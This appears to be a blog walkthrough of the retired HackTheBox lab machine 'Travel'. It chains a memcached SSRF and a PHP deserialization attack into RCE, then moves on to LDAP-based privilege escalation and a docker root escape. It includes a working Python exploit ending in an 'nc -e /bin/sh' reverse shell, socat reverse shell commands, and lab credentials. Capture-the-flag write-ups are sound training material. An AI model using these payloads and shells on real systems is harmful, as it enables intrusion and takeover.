HackTheBox - Travel

Summary

Travel,a Linux box created by HackTheBox user xct and jkr was a hard box, but was a real fun box. The Initial foothold was finding the .git folder on the blog-dev and analyzing the code to see that there is a SSRF on memcached and a Deserielization on SimplePie combining both of them we can get a RCE on the box. Using which we can get a shell as www-data enumerating we find a db-dump.sql on in /opt/ which have the user as lynik-admin and a password hash. Cracking that we can get a shell as the user.Privilege Escalation on this box was something new for me it was using the ldapmodify and using the ability of ssh on ldap. We modify a user from ldap and change its UID and GID to 1000 and 117(docker) and quickly ssh to the box using that. now we can use docker to get a shell as root using gtfobins.

Initial Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -sC -sV -oN nmap/travel $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-17 00:37 IST
Nmap scan report for 10.10.10.189
Host is up (0.43s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Not valid before: 2020-04-23T19:24:29
|_Not valid after: 2030-04-21T19:24:29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.84 seconds

we see a few domains

1
www.travel.htb blog.travel.htb blog-dev.travel.htb

Web travel.htb

and over HTTPS

Web - blog-dev.travel.htb

Web - blog.travel.htb

This is a wordpress site so i had most potential

1
Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!

So I thought for enumerating blog-dev more

trying with

1
gobuster dir -u http://blog-dev.travel.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 32

we find a leftover .git directory on the server

using git-dumper we can dump the repo

Checking git logs we have a potential username as

1
2
3
4
Author: jane <jane@travel.htb>
Date: Tue Apr 21 01:34:54 2020 -0700

moved to git

Checking the code for rss_template we see this is the awesome rss on the blog

we also see we can SSRF maybe?

1
http://blog.travel.htb/awesome-rss/?custom_feed_url=http://blog.travel.htb/

we see there is a SSRF protection in template.php

1
2
3
4
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}

we can easily bypass that using magic-ip

Reading through the code i found out that it is using SimplePie which is used for parsing the feed URL and it is using memcached for Caching. SimplePie is storing the serialized object in cache and unserialize it when using it so we can use a Deserilzation attack here to get the RCE.

But to get that we need the key name which it is using

RTFM of SimplePie I found how it is computing the cache name

i.e

1
md5("md5($url):spc")

googling around i stumble upon a Script to SSRF + Deserilzation to get an RCE script

we get a shell but that is really bad shell and there is no python to spawn a pty shell i tried some from netsec
but no luck so i used socat on the machine

So I ran

1
socat file:`tty`,raw,echo=0 tcp-listen:5959

locally

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.122:5959

on remote

Extra:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import urllib

HOST="10.10.X.X"
PORT="9999"
file = "hello.php"
url = "http://blog.travel.htb/"
def getpayload ():
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:'+str(len(file))+':"'+file+'";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
# 4e5612ba079c530a6b1f148c0b352241 is md5(md5("http://www.travel.htb/newsfeed/customfeed.xml"):"spc")
payload = "%0d%0aset xct_4e5612ba079c530a6b1f148c0b352241 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a"
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://2130706433:11211/_" + finalpayload


payload = getpayload()

print "Stage 1: SSRF in memcached"

ssrfURL = url+"awesome-rss/?debug=yes&custom_feed_url="+payload

x = requests.get(ssrfURL)
print(x.status_code)

print "Stage 2: Trigger Deserilzation"
x = requests.get(url+"awesome-rss/")
print(x.status_code)

payloadURL = url + "wp-content/themes/twentytwenty/logs/"+file
while True:
print payloadURL
x = requests.get(payloadURL)
print(x.status_code)
if x.status_code == 200:
break;

print "Stage 3: Get a Shell"

rceURL = payloadURL+"?cmd=nc -e /bin/sh "+HOST+" "+PORT
print rceURL
x = requests.get(rceURL)

Privilege Escalation User

Looking for DB credentials we find the wp credentials

1
2
3
4
define( 'DB_NAME', 'wp' );
define( 'DB_USER', 'wp' );
define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );
define( 'DB_HOST', '127.0.0.1' );

Looking around we find a db dump in /opt/wordpress copying it and checking in that we find a username as lynik-admin and a password hash as $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.

we can use john to crack that password as 1stepcloser

and use that to ssh to the machine using lynik-admin:1stepcloser

1
2
3
4
5
lynik-admin@travel:~$ whoami;hostname;cut -c 1-15 user.txt
lynik-admin
travel
50f19afb545990a
lynik-admin@travel:~$

Privilege Escalation (trvl-admin) ?

Checking lynik-admin home we see a .ldaprc

1
2
3
4
5
6
7
8
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
lynik-admin@travel:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb

Trying

1
2
3
4
5
ldapsearch -LLL -x -H ldap://ldap.travel.htb -b '' -s base '(objectclass=*)'

dn:
objectClass: top
objectClass: OpenLDAProotDSE

Checking .viminfo we find BINDPW Theroadlesstraveled which tell us this might be the password for ldap

Trying

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
ldapsearch -x -LLL -w Theroadlesstraveled
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel

dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers

dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=

dn: ou=workstations,dc=travel,dc=htb
description: Workstations
objectClass: organizationalUnit
ou: workstations

dn: ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Servers
objectClass: organizationalUnit
ou: linux

dn: ou=windows,ou=servers,dc=travel,dc=htb
description: Windows Servers
objectClass: organizationalUnit
ou: windows

dn: ou=users,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Users
objectClass: organizationalUnit
ou: users

dn: ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Groups
objectClass: organizationalUnit
ou: groups

dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jane
cn: Jane Rodriguez
sn: Rodriguez
givenName: Jane
loginShell: /bin/bash
uidNumber: 5005
gidNumber: 5000
homeDirectory: /home/jane
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: brian
cn: Brian Bell
sn: Bell
givenName: Brian
loginShell: /bin/bash
uidNumber: 5002
gidNumber: 5000
homeDirectory: /home/brian
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: frank
cn: Frank Stewart
sn: Stewart
givenName: Frank
loginShell: /bin/bash
uidNumber: 5001
gidNumber: 5000
homeDirectory: /home/frank
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jerry
uidNumber: 5006
homeDirectory: /home/jerry
givenName: Jerry
gidNumber: 5000
sn: Morgan
cn: Jerry Morgan
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: lynik
uidNumber: 5000
homeDirectory: /home/lynik
givenName: Lynik
gidNumber: 5000
sn: Schmidt
cn: Lynik Schmidt
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

dn: uid=edward,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: edward
uidNumber: 5009
homeDirectory: /home/edward
givenName: Edward
gidNumber: 5000
sn: Roberts
cn: Edward Roberts
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

dn: uid=eugene,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: eugene
cn: Eugene Scott
sn: Scott
givenName: Eugene
loginShell: /bin/bash
uidNumber: 5008
gidNumber: 5000
homeDirectory: /home/eugene
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=gloria,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: gloria
uidNumber: 5010
homeDirectory: /home/gloria
givenName: Gloria
gidNumber: 5000
sn: Wood
cn: Gloria Wood
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: louise
cn: Louise Griffin
sn: Griffin
givenName: Louise
loginShell: /bin/bash
uidNumber: 5007
gidNumber: 5000
homeDirectory: /home/louise
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

dn: uid=christopher,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: christopher
uidNumber: 5003
homeDirectory: /home/christopher
givenName: Christopher
gidNumber: 5000
sn: Ward
cn: Christopher Ward
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup

Reading this article I thought of adding my ssh key for a user and change its UID to 1000 and GID to 117 for docker to get shell as trvl-admin and GID of Docker use that key and username to SSH as the user.

Note: I had thought of adding any of these user to GID 0 and UID 0

After reading some more articles oracle and made-it

i ran

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ldapmodify -x -w Theroadlesstraveled
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: <my public key>
-
replace: uidNumber
uidNumber: 1000
-
replace: gidNumber
gidNumber: 117

and ssh

using

1
ssh -i private brian@$IP
1
2
3
trvl-admin@travel:~$ id
uid=1000(trvl-admin) gid=117(docker) groups=117(docker),5000(domainusers)
trvl-admin@travel:~$

Privilege Escalation (Root)

which give me a shell as trvl-admin and GID of docker so we can use gtfobins

1
docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh

which give us root shell in a container

1
2
3
4
# whoami;hostname;cut -c 1-15 root.txt
root
5e9076c9d9e9
c3817b992698831

and we have pwned Travel 💃

Extra

we can revert the changes we made for ldap to prevent spoilers using

1
2
3
4
5
6
7
8
9
10
11
12
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
delete: objectClass
objectClass: ldapPublicKey
-
delete: sshPublicKey
-
replace: uidNumber
uidNumber: 5002
-
replace: gidNumber
gidNumber: 5000

We can also add a ssh key to any user and make the GID as 27(sudoer) group and change the password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: homeDirectory
homeDirectory: /root
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: <my public key>
-
replace: userPassword
userPassword: password
-
replace: gidNumber
gidNumber: 27

and ssh to that and sudo su with password to get root.

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/travel/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.